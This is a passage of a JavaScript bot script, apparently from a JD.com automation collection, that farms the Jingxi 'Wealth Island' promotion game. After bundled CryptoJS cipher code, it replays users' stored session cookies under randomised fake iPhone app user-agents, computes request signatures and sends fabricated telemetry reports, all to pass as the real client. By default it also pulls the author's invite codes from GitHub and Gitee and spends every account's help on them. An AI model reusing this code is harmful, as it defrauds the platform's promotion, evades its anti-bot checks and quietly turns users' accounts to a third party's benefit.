t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,n=4*(1+(this._nRounds=6+r)),o=this._keySchedule=[],s=0;s>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p]):(p=i[(p=p<<8|p>>>24)>>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p],p^=u[s/r|0]<<24),o[s]=o[s-r]^p);for(var c=this._invKeySchedule=[],a=0;a>>24]]^l[i[p>>>16&255]]^f[i[p>>>8&255]]^d[i[255&p]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,o,s,c,a,i)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,h,l,f,d,n),r=t[e+1],t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],d=t[e+3]^r[3],u=4,p=1;p>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&d]^r[u++],v=i[l>>>24]^n[f>>>16&255]^o[d>>>8&255]^s[255&h]^r[u++],y=i[f>>>24]^n[d>>>16&255]^o[h>>>8&255]^s[255&l]^r[u++],g=i[d>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[u++];h=_,l=v,f=y,d=g}_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&d])^r[u++],v=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[d>>>8&255]<<8|c[255&h])^r[u++],y=(c[f>>>24]<<24|c[d>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[u++],g=(c[d>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[u++],t[e]=_,t[e+1]=v,t[e+2]=y,t[e+3]=g},keySize:8});t.AES=e._createHelper(p)}(),function(){var t=mt,e=t.lib,r=e.WordArray,i=e.BlockCipher,n=t.algo,o=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],s=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],c=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],a=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],h=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],l=n.DES=i.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=o[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],a=0;a<16;a++){var h=n[a]=[],l=c[a];for(r=0;r<24;r++)h[r/6|0]|=e[(s[r]-1+l)%28]<<31-r%6,h[4+(r/6|0)]|=e[28+(s[r+24]-1+l)%28]<<31-r%6;for(h[0]=h[0]<<1|h[0]>>>31,r=1;r<7;r++)h[r]=h[r]>>>4*(r-1)+3;h[7]=h[7]<<5|h[7]>>>27}var f=this._invSubKeys=[];for(r=0;r<16;r++)f[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],f.call(this,4,252645135),f.call(this,16,65535),d.call(this,2,858993459),d.call(this,8,16711935),f.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,l=0;l<8;l++)c|=a[l][((s^n[l])&h[l])>>>0];this._lBlock=s,this._rBlock=o^c}var u=this._lBlock;this._lBlock=this._rBlock,this._rBlock=u,f.call(this,1,1431655765),d.call(this,8,16711935),d.call(this,2,858993459),f.call(this,16,65535),f.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function f(t,e){var r=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=r,this._lBlock^=r<>>t^this._lBlock)&e;this._lBlock^=r,this._rBlock^=r<192.");var e=t.slice(0,2),i=t.length<4?t.slice(0,2):t.slice(2,4),n=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=l.createEncryptor(r.create(e)),this._des2=l.createEncryptor(r.create(i)),this._des3=l.createEncryptor(r.create(n))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=i._createHelper(u)}(),function(){var t=mt,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;n=0;for(var o=0;n<256;n++){var s=n%r,c=e[s>>>2]>>>24-s%4*8&255;o=(o+i[n]+c)%256;var a=i[n];i[n]=i[o],i[o]=a}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){r=(r+t[e=(e+1)%256])%256;var o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);var o=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0>>24)|4278255360&(t[r]<<24|t[r]>>>8);var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];for(r=this._b=0;r<4;r++)Rt.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(n[0]^=a,n[1]^=l,n[2]^=h,n[3]^=f,n[4]^=a,n[5]^=l,n[6]^=h,n[7]^=f,r=0;r<4;r++)Rt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Rt.call(this),lt[0]=r[0]^r[5]>>>16^r[3]<<16,lt[1]=r[2]^r[7]>>>16^r[5]<<16,lt[2]=r[4]^r[1]>>>16^r[7]<<16,lt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)lt[i]=16711935&(lt[i]<<8|lt[i]>>>24)|4278255360&(lt[i]<<24|lt[i]>>>8),t[e+i]^=lt[i]},blockSize:4,ivSize:2}),ct.Rabbit=at._createHelper(ut),mt.mode.CTR=(_t=(pt=mt.lib.BlockCipherMode.extend()).Encryptor=pt.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)Mt.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(i[0]^=a,i[1]^=l,i[2]^=h,i[3]^=f,i[4]^=a,i[5]^=l,i[6]^=h,i[7]^=f,n=0;n<4;n++)Mt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Mt.call(this),Bt[0]=r[0]^r[5]>>>16^r[3]<<16,Bt[1]=r[2]^r[7]>>>16^r[5]<<16,Bt[2]=r[4]^r[1]>>>16^r[7]<<16,Bt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)Bt[i]=16711935&(Bt[i]<<8|Bt[i]>>>24)|4278255360&(Bt[i]<<24|Bt[i]>>>8),t[e+i]^=Bt[i]},blockSize:4,ivSize:2}),vt.RabbitLegacy=yt._createHelper(St),mt.pad.ZeroPadding={pad:function(t,e){var r=4*e;t.clamp(),t.sigBytes+=r-(t.sigBytes%r||r)},unpad:function(t){var e=t.words,r=t.sigBytes-1;for(r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},mt}); - - -const $ = new Env('财富大陆互助'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -// const notify = $.isNode() ? require('./sendNotify') : ''; -$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; -let UA = `jdapp;iPhone;10.0.5;${Math.ceil(Math.random()*2+12)}.${Math.ceil(Math.random()*4)};${randomString(40)};` -function randomString(e) { - e = e || 32; - let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} -$.InviteList = [] -$.innerInviteList = []; -const HelpAuthorFlag = true;//是否助力 true 助力,false 不助力 - -let codeIndex = $.getval('gua_wealth_island_codeId') || '' // 定义提交助力码的账号如2,3,5 -if ($.isNode() && process.env.gua_wealth_island_codeId) { - codeIndex = process.env.gua_wealth_island_codeId; -} -let codeIndexArr = [] - -// 热气球接客 每次运行接客次数 -let serviceNum = 10;// 每次运行接客次数 -if ($.isNode() && process.env.gua_wealth_island_serviceNum) { - serviceNum = Number(process.env.gua_wealth_island_serviceNum); -} - -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -$.appId = 10032; - -!(async () => { - if (!cookiesArr[0]) { - $.msg('', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return - } - await getCode() - await requestAlgo(); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - $.cookie = cookiesArr[i] + ''; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - UA = `jdapp;iPhone;10.0.5;${Math.ceil(Math.random()*2+12)}.${Math.ceil(Math.random()*4)};${randomString(40)};` - console.log(`\n*****开始【京东账号${$.index}】${$.UserName}****\n`); - await run(); - } - } - // 助力 - let res = [], res2 = []; - $.InviteLists = [] - let getShareNum = 10 - let getShareNums = 0 - if (HelpAuthorFlag) { - $.innerInviteList = await getAuthorShareCode('https://raw.githubusercontent.com/smiek2221/updateTeam/master/shareCodes/wealth_island_code_one.json'); - if(!$.innerInviteList[0]) $.innerInviteList = await getAuthorShareCode('https://gitee.com/smiek2221/updateTeam/raw/master/shareCodes/wealth_island_code_one.json'); - res2 = await getAuthorShareCode('https://raw.githubusercontent.com/smiek2221/updateTeam/master/shareCodes/wealth_island_code.json'); - if(!res2[0]) res2 = await getAuthorShareCode('https://gitee.com/smiek2221/updateTeam/raw/master/shareCodes/wealth_island_code.json'); - getShareNums = [...res, ...res2].length >= getShareNum ? getShareNum : [...res, ...res2].length - $.innerInviteLists = getRandomArrayElements([...res, ...res2], [...res, ...res2].length >= getShareNum ? getShareNum : [...res, ...res2].length ); - $.InviteLists.push(...$.InviteList,...$.innerInviteList,...$.innerInviteLists); - }else{ - $.InviteLists.push(...$.InviteList); - } - for (let i = 0; i < cookiesArr.length; i++) { - UA = `jdapp;iPhone;10.0.5;${Math.ceil(Math.random()*2+12)}.${Math.ceil(Math.random()*4)};${randomString(40)};` - $.cookie = cookiesArr[i]; - $.canHelp = true; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - if ($.InviteLists && $.InviteLists.length) console.log(`\n******开始【邀请好友助力】(当前有${$.InviteList.length}+${getShareNums}个助力码)*********\n`); - for (let j = 0; j < $.InviteLists.length && $.canHelp; j++) { - $.inviteId = $.InviteLists[j]; - console.log(`${$.UserName} 助力 ${$.inviteId}`); - let res = await taskGet(`story/helpbystage`, '_cfd_t,bizCode,dwEnv,ptag,source,strShareId,strZone', `&strShareId=${$.inviteId}`) - if(res && res.iRet == 0){ - console.log(`助力成功: 获得${res.Data && res.Data.GuestPrizeInfo && res.Data.GuestPrizeInfo.strPrizeName || ''}`) - }else if(res && res.sErrMsg){ - console.log(res.sErrMsg) - if(res.sErrMsg.indexOf('助力次数达到上限') > -1 || res.iRet === 2232 || res.sErrMsg.indexOf('助力失败') > -1){ - break - } - }else{ - console.log(JSON.stringify(res)) - } - await $.wait(1000); - } - $.InviteLists = [] - $.innerInviteLists = getRandomArrayElements([...res, ...res2], [...res, ...res2].length >= getShareNum ? getShareNum : [...res, ...res2].length ); - $.InviteLists.push(...$.InviteList,...$.innerInviteList,...$.innerInviteLists); - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }).finally(() => { - $.done(); - }) -async function run() { - try{ - $.HomeInfo = '' - $.LeadInfo = '' - $.buildList = '' - $.Fund = '' - $.task = [] - $.Biztask = [] - $.Aggrtask = [] - $.Employtask = [] - - await GetHomePageInfo() - - if($.HomeInfo){ - $.InviteList.push($.HomeInfo.strMyShareId) - console.log(`等级:${$.HomeInfo.dwLandLvl} 当前金币:${$.HomeInfo.ddwCoinBalance} 当前财富:${$.HomeInfo.ddwRichBalance} 助力码:${$.HomeInfo.strMyShareId}`) - if(HelpAuthorFlag && codeIndexArr.includes($.index)){ - await updateIsland($.HomeInfo.strMyShareId) - await infoIsland() - } - } - if($.LeadInfo && $.LeadInfo.dwLeadType == 2){ - await $.wait(2000) - console.log(`\n新手引导`) - await noviceTask() - await GetHomePageInfo() - await $.wait(1000) - } - await $.wait(2000) - } - catch (e) { - console.log(e); - } -} -async function GetHomePageInfo() { - let additional= `&ddwTaskId&strShareId&strMarkList=guider_step%2Ccollect_coin_auth%2Cguider_medal%2Cguider_over_flag%2Cbuild_food_full%2Cbuild_sea_full%2Cbuild_shop_full%2Cbuild_fun_full%2Cmedal_guider_show%2Cguide_guider_show%2Cguide_receive_vistor` - let stk= `_cfd_t,bizCode,ddwTaskId,dwEnv,ptag,source,strMarkList,strShareId,strZone` - $.HomeInfo = await taskGet(`user/QueryUserInfo`, stk, additional) - if($.HomeInfo){ - $.Fund = $.HomeInfo.Fund || '' - $.LeadInfo = $.HomeInfo.LeadInfo || '' - $.buildInfo = $.HomeInfo.buildInfo || '' - if($.buildInfo.buildList){ - $.buildList = $.buildInfo.buildList || '' - } - } -} - - -async function noviceTask(){ - let additional= `` - let stk= `` - additional= `` - stk= `_cfd_t,bizCode,dwEnv,ptag,source,strZone` - await taskGet(`user/guideuser`, stk, additional) - additional= `&strMark=guider_step&strValue=welcom&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_over_flag&strValue=999&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_step&strValue=999&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_step&strValue=999&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_over_flag&strValue=999&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_step&strValue=gift_redpack&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_step&strValue=none&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) -} - -function taskGet(type, stk, additional){ - return new Promise(async (resolve) => { - let myRequest = getGetRequest(type, stk, additional) - $.get(myRequest, async (err, resp, _data) => { - let data = '' - try { - let contents = '' - // console.log(_data) - data = $.toObj(_data) - if(data && data.iRet == 0){ - // console.log(_data) - }else{ - // 1771|1771|5001|0|0,1771|75|1023|0|请刷新页面重试 - // console.log(_data) - } - contents = `1771|${opId(type)}|${data && data.iRet || 0}|0|${data && data.sErrMsg || 0}` - await biz(contents) - } - catch (e) { - $.logErr(e, resp); - } - finally { - resolve(data); - } - }); - }); -} -function getGetRequest(type, stk='', additional='') { - let url = ``; - if(type == 'user/ComposeGameState'){ - url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}&strZone=jxbfd&dwFirst=1&_=${Date.now()}&sceneval=2` - }else if(type == 'user/RealTmReport'){ - url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}${additional}&_=${Date.now()}&sceneval=2` - }else{ - let stks = '' - if(stk) stks = `&_stk=${stk}` - if(type == 'GetUserTaskStatusList' || type == 'Award' || type == 'Award1' || type == 'DoTask'){ - let bizCode = 'jxbfd' - if(type == 'Award1'){ - bizCode = 'jxbfddch' - type = 'Award' - } - url = `https://m.jingxi.com/newtasksys/newtasksys_front/${type}?strZone=jxbfd&bizCode=${bizCode}&source=jxbfd&dwEnv=3&_cfd_t=${Date.now()}${additional}${stks}&_ste=1&_=${Date.now()}&sceneval=2&g_login_type=1` - }else if(type == 'user/ComposeGameAddProcess' || type == 'user/ComposeGameAward'){ - url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&__t=${Date.now()}${additional}${stks}&_=${Date.now()}&sceneval=2`; - }else{ - url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=${additional}${stks}&_=${Date.now()}&sceneval=2`; - } - url += `&h5st=${decrypt(Date.now(), stk, '', url)}`; - } - return { - url, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", - "Connection": "keep-alive", - 'Cookie': $.cookie, - 'Host': 'm.jingxi.com', - "Referer": "https://st.jingxi.com/", - "User-Agent": UA, - - } - } -} - -function biz(contents){ - return new Promise(async (resolve) => { - let myRequest = { - url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", - "Connection": "keep-alive", - 'Cookie': $.cookie, - 'Host': 'm.jingxi.com', - "Referer": "https://st.jingxi.com/", - "User-Agent": UA, - } - } - $.get(myRequest, async (err, resp, _data) => { - try { - // console.log(_data) - } - catch (e) { - $.logErr(e, resp); - } - finally { - resolve(); - } - }); - }); -} - -function opId(type){ - let opId = 5001 - if(type == "user/QueryUserInfo") opId = 1 - if(type == "user/GetMgrAllConf") opId = 3 - if(type == "story/QueryUserStory") opId = 5 - if(type == "user/GetJdToken") opId = 11 - if(type == "story/CouponState") opId = 13 - if(type == "story/WelfareDraw") opId = 15 - if(type == "story/GetWelfarePage") opId = 17 - if(type == "story/SendWelfareMoney") opId = 19 - if(type == "user/SetMark") opId = 23 - if(type == "user/GetMark") opId = 25 - if(type == "user/guideuser") opId = 27 - if(type == "user/createbuilding") opId = 29 - if(type == "user/BuildLvlUp") opId = 31 - if(type == "user/CollectCoin") opId = 33 - if(type == "user/GetBuildInfo") opId = 35 - if(type == "user/SpeedUp") opId = 37 - if(type == "story/AddNoticeMsg") opId = 39 - if(type == "user/breakgoldenegg") opId = 41 - if(type == "user/closewindow") opId = 43 - if(type == "user/drawpackprize") opId = 45 - if(type == "user/GetMoneyDetail") opId = 47 - if(type == "user/EmployTourGuide") opId = 49 - if(type == "story/sellgoods") opId = 51 - if(type == "story/querystorageroom") opId = 53 - if(type == "user/queryuseraccount") opId = 55 - if(type == "user/EmployTourGuideInfo") opId = 57 - if(type == "consume/TreasureHunt") opId = 59 - if(type == "story/QueryAppSignList") opId = 61 - if(type == "story/AppRewardSign") opId = 63 - if(type == "task/addCartSkuNotEnough") opId = 123 - if(type == "story/GetActTask") opId = 125 - if(type == "story/ActTaskAward") opId = 127 - if(type == "story/DelayBizReq") opId = 131 - if(type == "story/queryshell") opId = 65 - if(type == "story/QueryRubbishInfo") opId = 67 - if(type == "story/pickshell") opId = 69 - if(type == "story/CollectorOper") opId = 71 - if(type == "story/MermaidOper") opId = 73 - if(type == "story/RubbishOper") opId = 75 - if(type == "story/SpecialUserOper") opId = 77 - if(type == "story/GetUserTaskStatusList") opId = 79 - if(type == "user/ExchangeState") opId = 87 - if(type == "user/ExchangePrize") opId = 89 - if(type == "user/GetRebateGoods") opId = 91 - if(type == "user/BuyGoods") opId = 93 - if(type == "user/UserCashOutState") opId = 95 - if(type == "user/CashOut") opId = 97 - if(type == "user/GetCashRecord") opId = 99 - if(type == "user/CashOutQuali") opId = 101 - if(type == 